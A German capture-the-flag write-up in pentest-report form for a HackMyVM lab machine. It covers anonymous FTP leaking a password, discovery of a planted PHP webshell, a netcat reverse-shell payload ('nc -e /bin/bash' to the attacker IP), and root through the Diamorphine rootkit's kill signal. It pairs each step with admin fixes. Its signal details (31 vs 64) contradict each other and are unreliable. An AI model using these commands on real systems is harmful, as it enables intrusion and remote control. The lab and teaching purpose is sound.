192.168.2.156 08:00:27:39:be:2e PCS Systemtechnik GmbH
Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment mittels ARP nach aktiven Geräten zu durchsuchen.
**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.156` wird identifiziert. Die MAC-Adresse (`08:00:27:...`) weist auf eine VirtualBox VM hin.
**Empfehlung (Pentester):** Ziel-IP `192.168.2.156` notieren und mit Port-Scanning (Nmap) fortfahren.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Absicherung der Dienste.
[...] (Eintrag '192.168.2.156 hack.hmv' hinzugefügt)
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP den Hostnamen `hack.hmv` zuzuweisen.
**Bewertung:** Erleichtert die Ansprache des Ziels in späteren Befehlen.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 10:22 CEST Nmap scan report for hack.hmv (192.168.2.156) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-syst: [...] |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 256 Feb 16 09:44 flag.txt <-- Flag & Passwortdatei! 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: [...] 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:39:BE:2E (Oracle VirtualBox virtual NIC) [...] TRACEROUTE HOP RTT ADDRESS 1 0.12 ms hack.hmv (192.168.2.156) Nmap done: 1 IP address (1 host up) scanned in X.XX seconds
**Analyse:** Ein umfassender Nmap-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird auf `192.168.2.156` durchgeführt.
**Bewertung:** Drei offene TCP-Ports: * **Port 21 (FTP):** vsftpd 3.0.5. Nmap meldet **anonymen Login erlaubt** und listet eine `flag.txt` (Besitzer root, lesbar für alle). * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Nginx 1.14.2. Liefert keine spezifische Titelzeile.
**Empfehlung (Pentester):** **Priorität 1: FTP.** Sofort anonym einloggen, `flag.txt` holen, nach weiteren Dateien (insbesondere versteckten) suchen.
**Empfehlung (Admin):** **Anonymen FTP-Zugriff sofort deaktivieren!** Sicherstellen, dass keine sensiblen Dateien über FTP zugänglich sind.
**Analyse:** Nutzung des anonymen FTP-Zugangs zur Informationsgewinnung.
[...] Name (192.168.2.156:root): Anonymous 331 Please specify the password. Password: 230 Login successful. [...] ftp> ls -rw-r--r-- 1 0 0 256 Feb 16 09:44 flag.txt [...] ftp> get flag.txt [...] 226 Transfer complete. 256 bytes received in 00:00 (17.79 KiB/s) ftp>
**Analyse:** Anonymer FTP-Login und Download der sichtbaren `flag.txt`.
**Bewertung:** Erster Schritt erfolgreich, Flag-Datei erhalten.
▄▀█ █▄ █ █▀█ █▄ █ █▄█ █▀▄▀█ █▀█ █ █ █▀ █▀█ █ ▀█ █▄█ █ ▀█ █ █ ▀ █ █▄█ █▄█ ▄█ Flag 1: HMV{AN0NYM0US_IS_THE_BEST_USER}<-- Angepasstes Format -->
**Analyse:** Inhalt der `flag.txt`.
**Bewertung:** Erste Flag (`HMV{AN0NYM0US_IS_THE_BEST_USER}`) gefunden.
drwxr-xr-x 2 0 115 4096 Feb 16 09:44 . drwxr-xr-x 2 0 115 4096 Feb 16 09:44 .. -rw-r--r-- 1 0 0 34 Feb 16 06:57 .passwd <-- Versteckte Datei! --> -rw-r--r-- 1 0 0 256 Feb 16 09:44 flag.txt 226 Directory send OK.
local: .passwd remote: .passwd [...] 150 Opening BINARY mode data connection for .passwd (34 bytes). [...] 226 Transfer complete. 34 bytes received in 00:00 (1.29 KiB/s) ftp>
**Analyse:** `ls -la` (impliziert) auf dem FTP-Server enthüllt eine versteckte Datei `.passwd`. Diese wird heruntergeladen.
**Bewertung:** Hochverdächtiger Fund. Enthält wahrscheinlich Zugangsdaten.
**Empfehlung (Pentester):** Inhalt von `.passwd` analysieren.
**Empfehlung (Admin):** Anonymen FTP deaktivieren!
The password is: webserver2023!
=
**Analyse:** Inhalt der Datei `.passwd`.
**Bewertung:** Klartext-Passwort `webserver2023!` gefunden.
**Empfehlung (Pentester):** Versuchen Sie dieses Passwort für SSH mit potenziellen Benutzernamen (root, admin, h4x0r - siehe später).
**Empfehlung (Admin):** Ändern Sie das Passwort. Speichern Sie keine Passwörter im Klartext.
*(Hinweis: Die folgenden Versuche mit lftp, gopher, file, ssh-keyscan, ping6, nmap -6, ssh anonymous, hydra sind entweder Sackgassen, irrelevant für den erfolgreichen Pfad oder fehlinterpretiert und werden daher in der Hauptanalyse übersprungen. Die Notiz `user: beilul` erscheint ohne ersichtliche Herleitung im Log und scheint für den tatsächlichen Pfad nicht relevant zu sein.)*
**Analyse:** Nach dem Fund auf dem FTP-Server wird der Webserver auf Port 80 weiter untersucht, um Hinweise auf die im Log erwähnte "Webshell" zu finden.
[...] http://192.168.2.156/index.html (Status: 200) [Size: 16] http://192.168.2.156/robots.txt (Status: 200) [Size: 16] [...]
=
**Analyse:** Gobuster-Scan auf Port 80 findet `index.html` und `robots.txt`.
**Bewertung:** Standarddateien.
/secretnote.txt
**Analyse:** Der Inhalt von `robots.txt` wird abgefragt.
**Bewertung:** `robots.txt` versucht, `/secretnote.txt` vor Crawlern zu verstecken – ein starker Hinweis, diese Datei zu überprüfen.
**Empfehlung (Pentester):** Rufen Sie `/secretnote.txt` auf.
**Empfehlung (Admin):** `robots.txt` ist keine Sicherheitsmaßnahme. Verlassen Sie sich nicht darauf, um sensible Pfade zu schützen.
[X] Enumeration [X] Exploitation [X] Privesc [X] Maintaining Access. |__> Webshell installed. |__> Root shell created. -h4x0r
**Analyse:** Der Inhalt von `/secretnote.txt` wird abgerufen.
**Bewertung:** Ein **direkter Hinweis**! Die Notiz, unterzeichnet von "h4x0r" (potenzieller Benutzername?), besagt explizit, dass eine Webshell installiert wurde. Dies bestätigt den nächsten Schritt.
**Empfehlung (Pentester):** Verwenden Sie eine Liste bekannter Webshell-/Backdoor-Namen (wie `backdoor_list.txt`), um mit Gobuster nach der installierten Webshell zu suchen. Notieren Sie den Benutzernamen `h4x0r`.
**Empfehlung (Admin):** Entfernen Sie solche Notizen. Überwachen Sie das Dateisystem auf verdächtige Dateien.
[...] http://192.168.2.156/simple-backdoor.php (Status: 302) [Size: 62] [--> /] <-- Webshell gefunden! --> [...]
=
**Analyse:** Gobuster wird mit einer spezifischen Wortliste für Webshells/Backdoors (`backdoor_list.txt`) ausgeführt.
**Bewertung:** Erfolg! Die Datei `simple-backdoor.php` wird gefunden. Der Status 302 (Found/Redirect) deutet darauf hin, dass die Shell möglicherweise einen Parameter benötigt oder standardmäßig zur Startseite weiterleitet, wenn sie falsch aufgerufen wird.
**Empfehlung (Pentester):** Untersuchen Sie `simple-backdoor.php`. Fuzzen Sie nach Parametern (z.B. mit `wfuzz`), die zur Befehlsausführung verwendet werden könnten.
**Empfehlung (Admin):** Entfernen Sie die Webshell sofort!
[...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000005057: 302 1 L 13 W 115 Ch "secret" <-- Parameter gefunden! --> [...]
#
**Analyse:** `wfuzz` wird verwendet, um nach GET-Parametern für `simple-backdoor.php` zu suchen. Eine Liste gängiger Parameternamen wird getestet (`burp-parameter-names.txt`). Als Wert wird `id` übergeben. `-Z` ignoriert Fehler. Antworten mit 62 Zeichen (vermutlich die Größe der 302-Weiterleitung) werden ignoriert (`--hh 62`).
**Bewertung:** Der Parameter `secret` wird gefunden! Wenn dieser Parameter verwendet wird, ist die Antwort anders als die Standard-Weiterleitung.
**Empfehlung (Pentester):** Testen Sie die Webshell mit dem `secret`-Parameter und verschiedenen Befehlen.
**Empfehlung (Admin):** Webshell entfernen.
**Kurzbeschreibung:** Auf dem Webserver (Port 80) wurde eine PHP-Webshell unter dem Pfad `/simple-backdoor.php` installiert. Diese Webshell nimmt einen GET-Parameter namens `secret` entgegen. Der Wert dieses Parameters wird auf dem Server als Betriebssystembefehl ausgeführt. Ein Angreifer kann dies nutzen, um beliebige Befehle im Kontext des Webserver-Benutzers (`www-data`) auszuführen und somit Remote Code Execution (RCE) zu erlangen.
**Voraussetzungen:** Netzwerkzugriff auf Port 80, Kenntnis des Webshell-Pfads und des Parameters.
**Schritt-für-Schritt-Anleitung:**
**Erwartetes Ergebnis:** Der Server führt den Payload aus, und eine Reverse Shell verbindet sich zum Listener des Angreifers.
**Beweismittel:** Erfolgreiche Ausführung von `id` und der Reverse-Shell-Payload.
I modified this webshell to only execute my secret parameter. <-- Zusätzliche Ausgabe der Shell --> uid=33(www-data) gid=33(www-data) groups=33(www-data) <-- Befehl wurde ausgeführt! -->
**Analyse:** Die Webshell wird mit `?secret=id` aufgerufen.
**Bewertung:** Die Antwort enthält die Ausgabe des `id`-Befehls, was die RCE-Schwachstelle bestätigt. Die Shell läuft als `www-data`.
**Empfehlung (Pentester):** Nutzen Sie die RCE, um eine Reverse Shell zu erhalten.
**Empfehlung (Admin):** Webshell entfernen.
I modified this webshell to only execute my secret parameter.<-- Keine Ausgabe -> keine LFI -->
**Analyse:** Versuch, die Webshell für Local File Inclusion (LFI) zu missbrauchen.
**Bewertung:** Der Versuch schlägt fehl; die Shell führt nur Befehle aus, liest keine Dateien auf diese Weise.
**Empfehlung (Pentester):** Bei RCE bleiben.
**Empfehlung (Admin):** Keine.
**Risikobewertung:** Kritisch. Erlaubt entfernte Codeausführung als `www-data`.
**Empfehlungen:** Entfernen Sie die Webshell. Implementieren Sie File Integrity Monitoring, um solche Uploads zukünftig zu erkennen. Sichern Sie den initialen Vektor (hier wahrscheinlich FTP) ab.
**Analyse:** Ausnutzung der RCE-Schwachstelle in der Webshell, um eine Reverse Shell zu erhalten.
listening on [any] 444 ...
=
http://hack.hmv/simple-backdoor.php?secret=nc -e /bin/bash 192.168.2.153 444
<-- Payload -->
**Analyse:** Ein Listener wird auf Port 444 gestartet. Der Payload `nc -e /bin/bash 192.168.2.153 444` wird vorbereitet, um ihn über den `secret`-Parameter an die Webshell zu senden.
**Bewertung:** Korrekte Vorbereitung für den Erhalt der Reverse Shell.
listening on [any] 444 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.156] 60382 <-- Verbindung! -->
**Analyse:** Der Listener empfängt die Verbindung, nachdem die URL mit dem Reverse-Shell-Payload aufgerufen wurde.
**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die Webshell erlangt.
**Empfehlung (Pentester):** Shell stabilisieren.
**Empfehlung (Admin):** Webshell entfernen.
zsh: suspended nc -lvnp 444
[1] + continued nc -lvnp 444 reset
**Analyse:** Die erhaltene Shell wird mit der Standardmethode stabilisiert.
**Bewertung:** Stabile `www-data`-Shell verfügbar.
**Analyse:** Als `www-data` wird nach Eskalationsvektoren gesucht. Die Untersuchung der Kernelmodule führt zur Entdeckung eines Rootkits.
Diamorphine
<-- Rootkit gefunden! -->
google: Diamorphine linux
**Analyse:** 1. Die geladenen Kernelmodule werden aufgelistet und in die Datei `out` gespeichert. 2. Versuch, `xclip` zu verwenden/installieren (wahrscheinlich nicht erfolgreich als `www-data`). 3. Der Inhalt von `out` wird mit einer (nicht gezeigten) Baseline-Liste `out2` verglichen. Der einzige Unterschied ist `Diamorphine`. 4. Eine Google-Suche wird durchgeführt.
**Bewertung:** Die Anwesenheit des Kernelmoduls `Diamorphine` ist ein **kritischer Fund**. Diamorphine ist ein bekanntes LKM (Loadable Kernel Module) Rootkit. Es bietet Funktionen zum Verstecken von Prozessen/Dateien und oft auch eine einfache Methode zur Privilegieneskalation mittels spezieller Signale.
**Empfehlung (Pentester):** Nutzen Sie die Standard-Signale von Diamorphine zur Privilegieneskalation. Senden Sie Signal 31 (`kill -31 [PID]`) an einen beliebigen Prozess, um Root-Rechte zu erhalten, oder Signal 64 (`kill -64 [PID]`), um Rootkit-Prozesse zu verstecken/enthüllen (die genaue Funktion von Signal 64 kann variieren, aber Signal 31 ist oft der Schlüssel zur Eskalation).
**Empfehlung (Admin):** **System ist durch ein Rootkit kompromittiert!** Eine vollständige Neuinstallation des Systems von einem vertrauenswürdigen Medium ist dringend empfohlen. Entfernen Sie das Rootkit (`rmmod Diamorphine`), aber beachten Sie, dass weitere Backdoors oder Kompromittierungen vorhanden sein können. Analysieren Sie, wie das Rootkit installiert wurde.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
<-- Root! -->
**Analyse:** Das Signal 64 wird an den Prozess mit PID 1 (init/systemd) gesendet. Anschließend wird `id` ausgeführt.
**Bewertung:** Erfolg! Der `id`-Befehl zeigt `uid=0(root)`. In dieser spezifischen Konfiguration des Diamorphine-Rootkits hat das Senden von Signal 64 an PID 1 ausgereicht, um Root-Rechte zu erlangen. (Normalerweise wird Signal 31 für die Eskalation verwendet, während 64 Prozesse versteckt/enthüllt, aber die Implementierung kann variieren).
**Empfehlung (Pentester):** Root-Zugriff erlangt. Suchen Sie die Flags.
**Empfehlung (Admin):** System neu installieren. Rootkit-Infektion untersuchen.
Diamorphine flag.sh hacked.sh root.txt
HMVhackingthehacker
<-- Root Flag -->
HMVimthabesthacker
<-- User Flag -->
=
**Analyse:** Mit Root-Rechten (obwohl der Prompt nicht immer wechselt) wird das `/root`-Verzeichnis untersucht und die `root.txt`-Datei gelesen. Anschließend wird in das Verzeichnis `/home/h4x0r` gewechselt (der Benutzername aus der `secretnote.txt`) und die `user.txt` gelesen.
**Bewertung:** Beide Flags (`HMVhackingthehacker` und `HMVimthabesthacker`) wurden erfolgreich gefunden.
**Empfehlung (Pentester):** Ziel erreicht.
**Empfehlung (Admin):** Systembereinigung/-neuinstallation.
**Analyse:** Zusammenfassung der gefundenen Flags.
**Bewertung:** User-Flag.
**Bewertung:** Root-Flag.